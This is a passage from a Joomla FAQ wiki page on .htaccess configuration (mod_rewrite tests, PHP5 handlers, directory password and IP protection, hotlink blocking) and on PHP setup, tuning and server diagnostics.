&#039;&#039;Note that although the magic_quotes_gpc directive adds a layer of security, for performance reasons it is not considered a best practice. If you have verified that your site correctly filters and validates all user data (and every production site really should), then there is no need to add this directive. If you have any doubt, add it.&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
3. Save the .htaccess file in your site&#039;s home directory.&lt;br /&gt;
&lt;br /&gt;
4. Test your site&#039;s front end and back end.&lt;br /&gt;
&lt;br /&gt;
==How does FastCGI effect Joomla?==&lt;br /&gt;
&lt;br /&gt;
When PHP runs from FastCGI, your server runs the PHP interpreter like an Apache module, but with the rights of your user account. Usually, the PHP interpreter is either running as the user of the webserver (which is fast, but insecure, since everyone&#039;s scripts run with the same rights), or as a CGI program, which is slow. Thus, FastCGI is a good solution for shared hosting.&lt;br /&gt;
&lt;br /&gt;
Since the PHP interpreter runs as a single instance, it does (AFAIK) not parse the .htaccess or php.ini files per directory. To change php.ini settings, your host must offer you a method to set up or modify your own php.ini, or at least parts of it. Here is how one of host does this: it parses one php.ini file (which the user can modify) once an hour, and puts some well-defined settings into the web server&#039;s main php.ini file. Thus, users are able to change some settings for their site only, such as turning register_globals off, switching between PHP4 and PHP5.&lt;br /&gt;
&lt;br /&gt;
If your server uses FastCGI, you can ask them to enable a method such as the above example, or you may be able to ask them adjust some settings for you.&lt;br /&gt;
&lt;br /&gt;
==How can I check if mod_rewrite is enabled?==&lt;br /&gt;
&lt;br /&gt;
Many problems with search engine optimization (SEO) arise from the fact that a host has not enabled mod_rewrite on the server.&lt;br /&gt;
&lt;br /&gt;
1. Enable SEO in your administrator! (administrator &amp;gt; SEO &amp;gt; Enable &amp;gt; Save)&lt;br /&gt;
&lt;br /&gt;
2. Rename your htaccess.txt to .htaccess, or use your existing .htaccess file.&lt;br /&gt;
&lt;br /&gt;
3. Place ONLY the following lines in your .htaccess file in the domain root folder.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;      Options +FollowSymLinks&lt;br /&gt;
      RewriteEngine On&lt;br /&gt;
      RewriteRule ^joomla\.html http://www.joomla.org/ [R=301,L]&amp;amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Point your browser to: http://www.example.com/joomla.html&lt;br /&gt;
&lt;br /&gt;
(Replace &#039;example.com&#039; with your site&#039;s actual URL.)&lt;br /&gt;
&lt;br /&gt;
5. If you are redirected to www.joomla.org, mod_rewrite is working. If you get an error, mod_rewrite is not working.&lt;br /&gt;
&lt;br /&gt;
6. Note: if your site is located in a folder, for example &amp;quot;test&amp;quot; you will need to modify the .htaccess file as follows:&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;      Options +FollowSymLinks&lt;br /&gt;
      RewriteEngine On&lt;br /&gt;
      RewriteRule ^test/joomla\.html http://www.joomla.org/ [R=301,L]&amp;amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== How do I switch to PHP5 using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Many shared server environments currently run .php scripts using the PHP4 interpreter and .php5 code using the PHP5 interpreter. Rather than changing all your file extensions, and perhaps breaking many links, use a .htaccess file to dynamically map one extension to the other.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;IMPORTANT CAVEAT:&#039;&#039;&#039; One common reason for doing this is that hosts leave PHP4 configured with register_globals ON in order to support legacy code while offering PHP5 with register_globals OFF. If you are on a shared server at a host that has configured register_globals ON server wide, you should be very worried!&lt;br /&gt;
&lt;br /&gt;
Turning register globals OFF via a local php.ini or a .htaccess file will NOT offer you any extra protection. Another exploited account on your server can simple hack yours. For server security, and since php 4.2, register globals is OFF server wide by default (php default). Any host overriding this is inviting trouble. If you need register globals ON for a specific site, simple use a .htaccess file for that specific directory, and server wide security will not be compromised. Of course, if you do this be sure all effected scripts fully sanitize input data.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Requirements&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Your Apache server must be configured to use .htaccess files. If not, you may be able to request this from your host.&lt;br /&gt;
2. Your Apache configuration must allow the following setting. If not, you may be able to request this from your host.&lt;br /&gt;
3. Your host must have configured the .php and .php5 file extensions as described above. If not, they may possibly have chosen other extensions. Check with your host.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Check to be sure your site is configured to use .htaccess files.&lt;br /&gt;
&lt;br /&gt;
2. Make a backup of the .htaccess file in your root public_http directory. If you don&#039;t have a .htaccess file at this location, create one now.&lt;br /&gt;
&lt;br /&gt;
3. There are various ways to set the comman, depending on your server configuration. One of the following will probably work. Add ONE the following lines at the end of your .htaccess file. If unsure which to use, check with your hosting provider on which version works best for your configuration.&lt;br /&gt;
&lt;br /&gt;
 AddType x-mapp-php5 .php&lt;br /&gt;
 AddHandler application/x-httpd-php5 .php&lt;br /&gt;
 AddHandler cgi-php5 .php&lt;br /&gt;
&lt;br /&gt;
4. Carefully test.&lt;br /&gt;
&lt;br /&gt;
5. Delete the backup .htaccess file. Don&#039;t leave backups of .htaccess files in public directories.&lt;br /&gt;
&lt;br /&gt;
==How do I password protect directories using .htaccess?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
This FAQ explains how to protect the Joomla! /administrator/ directory on Apache servers using the htpasswd utility. You can easily adapt these instructions to protect other directories. If you need help finding or creating your .htaccess file, start here.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Caveat (From Apache.org)&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Basic authentication should not be considered secure for any particularly rigorous definition of secure.&lt;br /&gt;
Although the password is stored on the server in encrypted format, it is passed from the client to the server in plain text across the network. Anyone listening with any variety of packet sniffer will be able to read the username and password in the clear as it goes across.&lt;br /&gt;
&lt;br /&gt;
Not only that, but remember that the username and password are passed with every request, not just when the user first types them in. So the packet sniffer need not be listening at a particularly strategic time, but just for long enough to see any single request come across the wire.&lt;br /&gt;
&lt;br /&gt;
And, in addition to that, the content itself is also going across the network in the clear, and so if the web site contains sensitive information, the same packet sniffer would have access to that information as it went past, even if the username and password were not used to gain direct access to the web site.&lt;br /&gt;
&lt;br /&gt;
Don&#039;t use basic authentication for anything that requires real security. It is a detriment for most users, since very few people will take the trouble, or have the necessary software and/or equipment, to find out passwords. However, if someone had a desire to get in, it would take very little for them to do so.&lt;br /&gt;
&lt;br /&gt;
Basic authentication across an SSL connection, however, will be secure, since everything is going to be encrypted, including the username and password.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. If you are unfamiliar with the Apache htpasswd utility, you may want to read the following link first.&lt;br /&gt;
Apache Authentication, Authorization, and Access Control&lt;br /&gt;
&lt;br /&gt;
2. Check to be sure your site is configured to use .htaccess files. If not sure, ask your host.&lt;br /&gt;
&lt;br /&gt;
3. Decide where to put your .htaccess file. Because Apache recursively searches all directories in a path for .htaccess files, the higher in your directory structure you place this file, the more directories it will control. If there is already an .htaccess file in the directory you choose, it&#039;s probably best to add the new code to it.&lt;br /&gt;
&lt;br /&gt;
4. Decide where to store your.htpasswd and .htgroups files. These files should NEVER be publicly accessable through the Web. Below is an example directory structure showing good locations for each file. Note that the /auth/ directory in this example is NOT accessible from the Web.&lt;br /&gt;
&lt;br /&gt;
 /home/mysite/public_html/.htaccess&lt;br /&gt;
 /home/mysite/auth/.htpasswd/&lt;br /&gt;
 /home/mysite/auth/.htgroups/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
5. Create the .htpasswd and .htgroups files as explained in the official Apache HowTo, referenced above. (Since you&#039;ve read the always current and official documentation at Apache.org, we&#039;ll spare you the trouble of displaying it again here.)&lt;br /&gt;
&lt;br /&gt;
6. If a .htaccess file already exists in the directory you have chosen, make a backup copy. If the file does not exist, create a new file with that name now. (Don&#039;t forget the dot at the beginning of the name.)&lt;br /&gt;
&lt;br /&gt;
7. Add the following code to the .htaccess file. Adjust the example paths (marked in red) as needed for your server. Adjust the group name that you created in step 5 if it differs from the below example.&lt;br /&gt;
&lt;br /&gt;
 AuthUserFile /home/auth/.htpasswd&lt;br /&gt;
 AuthGroupFile /home/auth/.htgroups&lt;br /&gt;
 AuthType Basic&lt;br /&gt;
 AuthName &amp;quot;LWS&amp;quot;&lt;br /&gt;
 require group admins&lt;br /&gt;
&lt;br /&gt;
8. Test carefully.&lt;br /&gt;
&lt;br /&gt;
9. Remove all backup .htaccess files from public_http directories.&lt;br /&gt;
&lt;br /&gt;
10. If you cannot use the Apache htpasswd utility, here&#039;s a free, online script that creates the necessary files for you. You&#039;ll need to know the user name, password, and path. The script does the rest for you. Note that for more advanced configuration, such as the use of groups, you&#039;ll need to edit the resulting files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;.htaccess Generator:&#039;&#039;&#039; http://www.webmaster-toolkit.com/htaccess-generator.shtml&lt;br /&gt;
&lt;br /&gt;
== How do I restrict directory access by IP address using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
This can be a very effective way to protect your Joomla! administrator directory. Any other directory in public_html can be protected in the same way. This method only works if you have a static IP address assigned to you. Anyone attempting to browse such directories using a different IP Address will get a 403 Forbidden error.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
# In the directory you wish to protect, open (or create) a file called, .htaccess. (Note the dot at the beginning of the file name.)&lt;br /&gt;
# Add the following code to this file, replacing 100.100.100.100 in this example with the static IP address you plan to allow:&lt;br /&gt;
&lt;br /&gt;
 Order Deny,Allow&lt;br /&gt;
 Deny from all&lt;br /&gt;
 Allow from 100.100.100.100&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Optional: You can enter partial IP Addresses, such as, 100.100.100. This allows access to a range of addresses.&lt;br /&gt;
&lt;br /&gt;
* Optional: You can add multiple addresses by separating them with comma&#039;s.&lt;br /&gt;
&lt;br /&gt;
 100.100.100.101, 100.100.100.102&lt;br /&gt;
&lt;br /&gt;
==How do I convert an htaccess.txt file into a .htaccess file?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
When using PHP as an Apache module, you can change the configuration settings using directives in Apache configuration files (e.g. httpd.conf and .htaccess files). You will need &amp;quot;AllowOverride Options&amp;quot; or &amp;quot;AllowOverride All&amp;quot; privileges to do so. If you control your own Apache configuration, you can and should use httpd.conf. If you do not control your Apache configuration (such as on a shared server), you must use .htaccess files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# First look for the file, htaccess.txt in your root directory. It should have been installed during the Joomla! installation. (Note that this file name does not begin with a dot.) Open and carefully read htaccess.txt. It contains important suggestions on how to protect your site.&lt;br /&gt;
# Make any adjustments to this file as appropriate for your site, and then save it in your site&#039;s home directory as, .htaccess (including the dot).&lt;br /&gt;
# Test your site&#039;s front end and back end. If it produces errors, rename the file back to htaccess.txt, and troubleshoot your edits. If you are unable to get this working, you may have to leave the file named htaccess.txt.&lt;br /&gt;
# Use phpinfo() to ensure that all configurations set as you intended. Note: Web-accessible files that include phpinfo() are potential security risks they offer attackers lots of useful information about your server. Always remove such files after use.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;More Information&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* [http://us2.php.net/configuration.changes Official PHP Manual: How to change configuration settings]&lt;br /&gt;
* [http://us2.php.net/manual/en/ini.php#ini.list Official PHP Manual: List of PHP INI directives]&lt;br /&gt;
&lt;br /&gt;
== How do I block direct hot linking to image files using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Caveats&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Your server must allow .htaccess files for this technique to work.&lt;br /&gt;
# If you do not have a .htaccess file in your root directory, see the related FAQ first.&lt;br /&gt;
# Do not use this method to redirect image hot links to HTML pages or to servers that are not your own.&lt;br /&gt;
# Hot linked images can only be replaced by other images, not with HTML pages.&lt;br /&gt;
# As with any .htaccess rewrite, you may block legitimate traffic, such as users behind proxies or firewalls.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Create a jpeg image called no_hot_link.jpe. Note that the odd file extention (.jpe) is intentional and important. Place this file in your images directory.&lt;br /&gt;
# Place the following code in the .htaccess file of your root directory.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt; RewriteEngine On&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} !^http://([^.]+\.)*your_site\.com/ [NC]&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} !^$&lt;br /&gt;
 RewriteRule \.(jpe?g|gif|bmp|png)$ /images/no_hot_link.jpe [L]&amp;amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Explanation&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The first line begins the Apache rewrite rule. The second line matches any requests from your own site, here called your_site.com url. The [NC] flag means &amp;quot;aNy Case&amp;quot;, which means, match any and all upper and lower case characters. The third line allows empty referrals such as when a user is behind a caching proxy. The last line matches any files ending with the extension jpeg, jpg, gif, bmp, or png. This is then replaced by the no_hot_link.jpe file in your images directory. This JPEG file uses the extension jpe instead of jpg to prevent these rules from blocking your replacement image.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Block hot linking from specific domains&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
To stop hotlinking from specific domains only, such as myspace.com, blogspot.com and livejournal.com, while allowing other web sites to hotlink to your images, use the following code:&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt; RewriteEngine On&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*myspace\.com/ [NC,OR]&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*blogspot\.com/ [NC,OR]&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*livejournal\.com/ [NC]&lt;br /&gt;
 RewriteRule \.(jpe?g|gif|bmp|png)$ /images/nohotlink.jpe [L]&amp;amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You can add as many different domains as you want. Every RewriteCond line except the last one should end with the [NC,OR] flags. NC means to ignore case. OR means &amp;quot;Or Next&amp;quot;, as in, match this line OR the next line. The last RewriteCond omits the OR flag to stop matching after the last RewriteCond.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Display a 403 forbidden code&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Alternatively, you can display a 403 Forbidden error code. Replace the last line of the previous examples with this line:&lt;br /&gt;
&lt;br /&gt;
 RewriteRule \.(jpe?g|gif|bmp|png)$ - [F]&lt;br /&gt;
&lt;br /&gt;
= PHP =&lt;br /&gt;
&lt;br /&gt;
== Why is Joomla! written in PHP? ==&lt;br /&gt;
&lt;br /&gt;
: Might as well get it from the horse&#039;s mouth. In [http://www.oracle.com/technology/pub/articles/php_experts/rasmus_php.html Do you PHP?], Rasmus Lerdorf, the originator of PHP, sums up how and why PHP developed as it did.&lt;br /&gt;
&lt;br /&gt;
: &#039;&#039;&amp;quot;What it all boils down to is that PHP was never meant to win any beauty contests. It wasn&#039;t designed to introduce any new revolutionary programming paradigms. It was designed to solve a single problem: the Web problem. That problem can get quite ugly, and sometimes you need an ugly tool to solve your ugly problem. Although a pretty tool may, in fact, be able to solve the problem as well, chances are that an ugly PHP solution can be implemented much quicker and with many fewer resources. That generally sums up PHP&#039;s stubborness.&amp;quot;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
== What is the latest stable release of PHP? ==&lt;br /&gt;
&lt;br /&gt;
Check the [http://www.php.net/downloads.php official PHP download page] for information on the latest PHP release.&lt;br /&gt;
&lt;br /&gt;
== How do I tune for speed with PHP5 and MySQL5? ==&lt;br /&gt;
&lt;br /&gt;
: This is just a point by point summary of how I&#039;ve been tuning and tweaking our Joomla sites to get them running as quickly as possible. For reference, we run all our sites off a Rackspace dedicated server, with 1Gb RAM, a 2Ghz dual core Athlon, running Apache 2.0.x (current revision), PHP 5.0.x (current revision) and MySQL 5.0.18.&lt;br /&gt;
&lt;br /&gt;
: These are listed in terms of apparent speed increase - that is, not the sheer speed for the full page, but the speed before the page is usable to view content, even if not all features are loaded.&lt;br /&gt;
&lt;br /&gt;
# PHP caching. I had been running eAccelerator, but switched to APC today, and it has made the system even faster than before, and eAccelerator was a big boost over uncached PHP. Joomla is a big complex system, so using precompiled code is a big time saver. I use a 128Mb in-memory cache, which is plenty for our needs.&lt;br /&gt;
# MySQL Query Caching. This one will vary depending on how dynamic your site is, and you can really kill the benefits by using the wrong extensions (any date/time based will need checking), but if you are serving pretty much the same queries each page load, it will drop the load times noticably.&lt;br /&gt;
# Template Image optimisation - template images really slow down the initial page load for first time visitors, so optimising the hell out of them makes sense. Remember that your template is probably not going to change as often as your story content, so you can afford to spend more time on optimising the images for it that you would otherwise. I recommend Irfanview, with the pngout plugin active for PNG images, and it isn&#039;t bad for JPG and GIF images either. Don&#039;t forget to ramp up the compression level of PNGs, and, if possible, reducing them to indexed pallettes.&lt;br /&gt;
# CSS compression. Easy one this - put a little script to output a gzipped version of your CSS file(s) and point your index.php at it. Example script below - I didn&#039;t write it, but it&#039;s short, to the point, and works.&lt;br /&gt;
&lt;br /&gt;
              ob_start (&amp;quot;ob_gzhandler&amp;quot;);&lt;br /&gt;
              header(&amp;quot;Content-type: text/css&amp;quot;);&lt;br /&gt;
              header(&amp;quot;Cache-Control: must-revalidate&amp;quot;);&lt;br /&gt;
              $offset = 60 * 60 ;&lt;br /&gt;
              $ExpStr = &amp;quot;Expires: &amp;quot; .&lt;br /&gt;
              gmdate(&amp;quot;D, d M Y H:i:s&amp;quot;,&lt;br /&gt;
              time() + $offset) . &amp;quot; GMT&amp;quot;;&lt;br /&gt;
              header($ExpStr);&lt;br /&gt;
&lt;br /&gt;
# Strip unneeded modules, components, mambots from Joomla. If you haven&#039;t used them, the impact on your loading time is minimal, but with more components/modules active, there are more points of failure, and Apache errors are slow!&lt;br /&gt;
# Scrutinise the Apache error log. It is amazing how many errors can crop up even with a fairly minimal Joomla install, and they don&#039;t necessarily affect the appearance of the page. Check your error log, especially if you are using custom components/modules, or any non-standard config settings. Once you&#039;ve noticed any problems, it&#039;s time to fix the code creating them, and test thoroughly before uploading the fixed versions.&lt;br /&gt;
# Keep rechecking as you add/remove features, redesign or change any server configuration options. Even things like adding virtual servers in Apache can affect speed of the server, as a missed config setting can cause general Apache delays.&lt;br /&gt;
&lt;br /&gt;
== Should PHP run as a CGI script or as an Apache module? ==&lt;br /&gt;
&lt;br /&gt;
There are two ways to configure Apache to use PHP: &amp;amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Configure Apache to load the PHP interpreter as an &amp;amp;lt;i&amp;gt;Apache module&amp;amp;lt;/i&amp;gt;&lt;br /&gt;
# Configure Apache to run the PHP interpreter as a &amp;amp;lt;i&amp;gt;CGI binary&amp;amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;i&amp;gt;&amp;amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;(PS: Windows IIS normaly configures as CGI by the way)&amp;amp;lt;/span&amp;gt;&amp;amp;lt;/i&amp;gt;&amp;amp;lt;br /&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
It is the intention of this post to provide you information relating to &lt;br /&gt;
the configuration and recognition of each method. &amp;amp;amp;quot;In general&amp;amp;amp;quot;&lt;br /&gt;
historically only one method or the other has been implemented,&lt;br /&gt;
however, with the architectural changes made to PHP starting with PHP5,&lt;br /&gt;
it has been quite common for hosting firms to configure for both. One&lt;br /&gt;
version running as CGI and one version running as a Module. It is&lt;br /&gt;
generally accepted more recently that running PHP as a CGI is more&lt;br /&gt;
secure, however, running PHP as an Apache Module does have a slight&lt;br /&gt;
performance gain and is generally how most pre-configured systems will&lt;br /&gt;
be delivered out of the box.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;amp;lt;b&amp;gt;What is the difference between CGI and apache Module Mode?&amp;amp;lt;/b&amp;gt;&amp;amp;lt;/span&amp;gt;&amp;amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
An &amp;amp;lt;b&amp;gt;&amp;amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;Apache module&amp;amp;lt;/span&amp;gt;&amp;amp;lt;/b&amp;gt;&lt;br /&gt;
is compiled into the Apache binary, so the PHP interpreter runs in the&lt;br /&gt;
Apache process, meaning that when Apache spawns a child, each process&lt;br /&gt;
already contains a binary image of PHP. A CGI is executed as a single&lt;br /&gt;
process for each request, and must make an exec() or fork() call to the&lt;br /&gt;
PHP executable, meaning that each request will create a new process of&lt;br /&gt;
the PHP interpreter.  Apache is much more efficient in it&#039;s ability to&lt;br /&gt;
handle requests, and maaging resources, making the Apache module&lt;br /&gt;
slightly faster than the CGI (as well as more stable under load).&amp;amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;b&amp;gt;&amp;amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;CGI Mode&amp;amp;lt;/span&amp;gt;&amp;amp;lt;/b&amp;gt;&lt;br /&gt;
on the other hand, is more secure because the server now manages and&lt;br /&gt;
controls access to the binaries. PHP can now run as your own user&lt;br /&gt;
rather than the generic Apache user. This means you can put your&lt;br /&gt;
database passwords in a file readable only by you and your php scripts&lt;br /&gt;
can still access it! The &amp;amp;amp;quot;Group&amp;amp;amp;quot; and &amp;amp;amp;quot;Other&amp;amp;amp;quot; permissions ( refer &amp;amp;lt;a href=&amp;quot;component/option,com_easyfaq/task,view/id,73/Itemid,268/&amp;quot; target=&amp;quot;_blank&amp;quot;&amp;gt;Permissions FAQ&amp;amp;lt;/a&amp;gt;&lt;br /&gt;
&lt;br /&gt;
can now be more restrictive. CGI mode is also claimed to be more&lt;br /&gt;
flexible in many respects as you should now not see, with phpSuExec (&lt;br /&gt;
refer [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/114-how-to-troubleshoot-a-joomla-installation.html&amp;quot; target=&amp;quot;_blank Permissions under phpSuExec]&lt;br /&gt;
issues with file ownership being taken over by the Apache user,&lt;br /&gt;
therefore you should no-longer have problems under FTP when trying to&lt;br /&gt;
access or modify files that have been uploaded through a PHP interface,&lt;br /&gt;
such as Joomla! upload options.&lt;br /&gt;
&lt;br /&gt;
If your server is&lt;br /&gt;
configured to run PHP as an Apache module, then you will have the&lt;br /&gt;
choice of using either php.ini or Apache .htaccess files, however, if&lt;br /&gt;
your server runs PHP in CGI mode then you will only have the choice of&lt;br /&gt;
using php.ini files locally to change settings, as Apache is no longer&lt;br /&gt;
in complete control of PHP.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;hr /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;amp;lt;b&amp;gt;Testing and Reviewing Your PHP Installation&amp;amp;lt;/b&amp;gt;&amp;amp;lt;/span&amp;gt; &amp;amp;lt;i&amp;gt;&amp;amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;i&amp;gt;Also known as &amp;amp;amp;quot;Everything you ever wanted and didn&#039;t want to know about PHP&amp;amp;amp;quot;&amp;amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To&lt;br /&gt;
find out the PHP interpreter mode and to generally test your PHP&lt;br /&gt;
installation and to find out a vast amount of information about your&lt;br /&gt;
PHP environment, supported utilities, applications and settings, you&lt;br /&gt;
create a single PHP file containing &amp;amp;lt;i&amp;gt;only&amp;amp;lt;/i&amp;gt; the following lines;&amp;amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 phpinfo();&amp;amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This single line of code outputs an amazing amount of information, be warned.... &amp;amp;lt;img src=&amp;quot;http://forum.joomla.org/Smileys/joomla/wink.gif&amp;quot; alt=&amp;quot;Wink&amp;quot; border=&amp;quot;0&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Save the file as any filename you wish, but with the &amp;amp;amp;quot;.php&amp;amp;amp;quot; extension. FTP it to your server and open it in a browser.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;amp;lt;b&amp;gt;Other useful information&amp;amp;lt;/b&amp;gt;&amp;amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The following are PHP functions, that when run from a PHP File can provide some useful information, &amp;amp;lt;i&amp;gt;(less than the above option)&amp;amp;lt;/i&amp;gt; many should run on most hosts, however many hosts disable some of these functions for security. No Guarantee&#039;s offered...&lt;br /&gt;
&lt;br /&gt;
Again,&lt;br /&gt;
as above, make a file, name it anything you wish but make sure it has&lt;br /&gt;
the &amp;amp;amp;quot;.php&amp;amp;amp;quot; extension, copy and paste the following lines in to it and&lt;br /&gt;
FTP to your server.&amp;amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;amp;lt;?&amp;amp;lt;br /&amp;gt;echo &amp;amp;amp;quot;Hostname: &amp;amp;amp;quot;. @php_uname(n) .&amp;amp;amp;quot;&amp;amp;amp;quot;;&lt;br /&gt;
 if (function_exists( &#039;shell_exec&#039; )) { echo &amp;amp;amp;quot;Hostname: &amp;amp;amp;quot;.&lt;br /&gt;
 @gethostbyname(trim(`hostname`)); } else { echo &amp;amp;amp;quot;Server IP: &amp;amp;amp;quot;.&lt;br /&gt;
 $_SERVER[&#039;SERVER_ADDR&#039;] .&amp;amp;amp;quot;&amp;amp;amp;quot;; }&lt;br /&gt;
 echo &amp;amp;amp;quot;Platform: &amp;amp;amp;quot;. @php_uname(s) .&amp;amp;amp;quot; &amp;amp;amp;quot;. @php_uname(r) .&amp;amp;amp;quot; &amp;amp;amp;quot;. @php_uname(v) .&amp;amp;amp;quot;&amp;amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;amp;quot;Architecture: &amp;amp;amp;quot;. @php_uname(m) .&amp;amp;amp;quot;&amp;amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;amp;quot;Username: &amp;amp;amp;quot;. get_current_user () .&amp;amp;amp;quot; ( UiD: &amp;amp;amp;quot;. getmyuid() .&amp;amp;amp;quot;, GiD: &amp;amp;amp;quot;. getmygid() .&amp;amp;amp;quot; )&amp;amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;amp;quot;Curent Path: &amp;amp;amp;quot;. getcwd () .&amp;amp;amp;quot;&amp;amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;amp;quot;Server Type: &amp;amp;amp;quot;. $_SERVER[&#039;SERVER_SOFTWARE&#039;] . &amp;amp;amp;quot;&amp;amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;amp;quot;Server Admin: &amp;amp;amp;quot;. $_SERVER[&#039;SERVER_ADMIN&#039;] . &amp;amp;amp;quot;&amp;amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;amp;quot;Server Signature: &amp;amp;amp;quot;. $_SERVER[&#039;SERVER_SIGNATURE&#039;] .&amp;amp;amp;quot;&amp;amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;amp;quot;Server Protocol: &amp;amp;amp;quot;. $_SERVER[&#039;SERVER_PROTOCOL&#039;] .&amp;amp;amp;quot;&amp;amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;amp;quot;Server Mode: &amp;amp;amp;quot;. $_SERVER[&#039;GATEWAY_INTERFACE&#039;] .&amp;amp;amp;quot;&amp;amp;amp;quot;;&amp;amp;lt;br /&amp;gt;&lt;br /&gt;
 ?&amp;amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;Joomla! HISA&amp;amp;lt;/span&amp;gt; or &amp;amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;Joomla! Tools Suite&amp;amp;lt;/span&amp;gt; can also assist to determine which mode your server in running in, also&lt;br /&gt;
providing a large amount of other related  information including recommendations on configuration.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;b&amp;gt;Joomla! Tools Suite&amp;amp;lt;/b&amp;gt; (JTS) is a complete suite of Tools to help you troubleshoot and maintain Joomla! and include the &amp;amp;amp;quot;HISA&amp;amp;amp;quot; script. [http://joomlacode.org/gf/project/jts/ Download JTS Here]&lt;br /&gt;
&lt;br /&gt;
&amp;amp;lt;b&amp;gt;Joomla! Health, Installation and Security Audit&amp;amp;lt;/b&amp;gt; (HISA) is a single standalone script that provides purely configuration information. [http://joomlacode.org/gf/project/hisa/ Download HISA Here]&lt;br /&gt;
&lt;br /&gt;
